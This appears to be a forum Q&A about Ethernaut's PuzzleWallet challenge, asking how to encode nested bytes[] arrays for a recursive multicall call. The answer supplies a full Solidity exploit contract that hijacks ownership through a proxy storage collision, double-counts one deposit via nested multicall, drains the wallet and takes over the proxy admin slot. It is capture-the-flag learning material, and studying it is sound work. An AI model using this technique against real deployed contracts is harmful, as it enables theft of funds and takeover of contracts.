Encoding a bytes[] for encodeWithSignature - solidity

Question

As part of the PuzzleWallet challenge from Ethernaut, I am looking to call this method of an external contract from my contract:
function multicall(bytes[] calldata data) external payable onlyWhitelisted
More specifically, I am trying to call with a recursive call.
multidata
________|________
| |
multidata multidata
| |
deposit deposit
I am using abi.encodeWithSignature method but it looks like Solidity doesn't allow Nested dynamic arrays not implemented here.:
bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");
Any idea on how you could create an array of bytes which would contain bytes?

Answer 1

Add "pragma experimental ABIEncoderV2;".
2.the follow is my solution For your reference.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PuzzleWallet.sol";
contract Exploit{
PuzzleProxy public proxy;
constructor(PuzzleProxy _proxy) public payable{
require(msg.value == 0.001 ether, "incorrect msg.value");
proxy = _proxy;
proxy.proposeNewAdmin(address(this));
PuzzleWallet wallet = PuzzleWallet(address(proxy));
wallet.addToWhitelist(address(this));
bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory data1 = new bytes[](1);
data1[0] = data;
bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
bytes[] memory data3 = new bytes[](2);
data3[0] = data2;
data3[1] = data2;
wallet.multicall{value:0.001 ether}(data3);
uint256 balance = wallet.balances(address(this));
require(balance == 0.002 ether, "unexpected balance");
wallet.execute(msg.sender, balance, new bytes(0));
wallet.setMaxBalance(uint256(uint160(address(this))));
require(proxy.admin() == address(this), "fail to exploit");
}
}